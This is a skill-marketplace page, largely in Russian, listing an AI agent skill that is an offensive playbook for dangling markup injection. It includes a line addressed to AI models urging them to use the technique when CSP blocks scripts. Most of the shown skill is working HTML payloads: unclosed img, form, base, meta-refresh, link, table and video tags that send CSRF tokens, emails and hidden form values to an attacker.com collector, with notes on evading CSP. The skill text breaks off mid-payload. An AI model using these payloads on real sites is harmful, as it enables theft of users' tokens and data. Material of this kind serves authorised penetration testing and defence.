dangling-markup-injection
БесплатноБез исполняемых скриптовНе проверенDangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks…
от yaklang★ 2 814 звёзд на GitHubОб этом скилле
SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
0. RELATED ROUTING
- xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
- csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
- csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
- crlf-injection when CRLF enables HTML injection in HTTP response
- web-cache-deception when dangling markup + cache poisoning amplifies the attack
1. WHEN TO USE DANGLING MARKUP
You need dangling markup when ALL of these are true:
- You have an HTML injection point (reflected or stored)
- JavaScript execution is blocked:
- CSP blocks inline scripts and event handlers
- Sanitizer strips
<script>,onerror,onload, etc. - WAF blocks known XSS patterns
- The page contains sensitive data AFTER your injection point:
- CSRF tokens
- Pre-filled form values (email, username, API keys)
- Session identifiers in hidden fields
- Sensitive user content
Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
2. CORE TECHNIQUE
Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
Page before injection:
<div>Hello USER_INPUT</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="[email protected]">
</form>
Injected payload:
<img src="https://attacker.com/collect?
Resulting HTML:
<div>Hello <img src="https://attacker.com/collect?</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="[email protected]">
</form>
...rest of page until next matching quote (")...
The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.
3. EXFILTRATION VECTORS
3.1 Image Tag (Most Common)
<!-- Double-quote context -->
<img src="https://attacker.com/collect?
<!-- Single-quote context -->
<img src='https://attacker.com/collect?
<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?
The browser sends a GET request to attacker.com with all consumed content as query parameters.
Blocked by: img-src CSP directive
3.2 Form Action Hijack
<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--
If the page has form elements after the injection point, the next </form> closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
Blocked by: form-action CSP directive
Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
3.3 Base Tag Hijack
<base href="https://attacker.com/">
All subsequent relative URLs on the page resolve to attacker's server:
<script src="/js/app.js">→ loadshttps://attacker.com/js/app.js<a href="/profile">→ links tohttps://attacker.com/profile<form action="/submit">→ submits tohttps://attacker.com/submit
Blocked by: base-uri CSP directive
3.4 Meta Refresh Redirect
<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?
Redirects the entire page to attacker's server with consumed page content in the URL.
Blocked by: navigate-to CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
3.5 Link/Stylesheet Exfiltration
<link rel="stylesheet" href="https://attacker.com/collect?
Browser requests the URL as a CSS resource, leaking consumed content.
Blocked by: style-src CSP directive
3.6 Table Background (Legacy)
<table background="https://attacker.com/collect?
Works in older browsers that support the background attribute on table elements.
Blocked by: img-src CSP directive
3.7 Video/Audio Poster
<video poster="https://attacker.com/collect?
<audio src="https://
Установить dangling-markup-injection в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
FAQ
Что делает скилл dangling-markup-injection?
Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.
Как установить скилл dangling-markup-injection?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл dangling-markup-injection запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
skill-creator
Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an…
от Anthropicdiscernment-nudge
After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals…
от Anthropicdata-consolidate
Joins the plant's scheduled exports and connector data into one working dataset — ERP items (NetSuite or Infor M3), sales orders, production work orders…
от Anthropicinspection-to-capa
Runs the quality chain end to end: writes the nonconformance against the requirement it violates, searches history at the moment of writing to say whether…
от Anthropic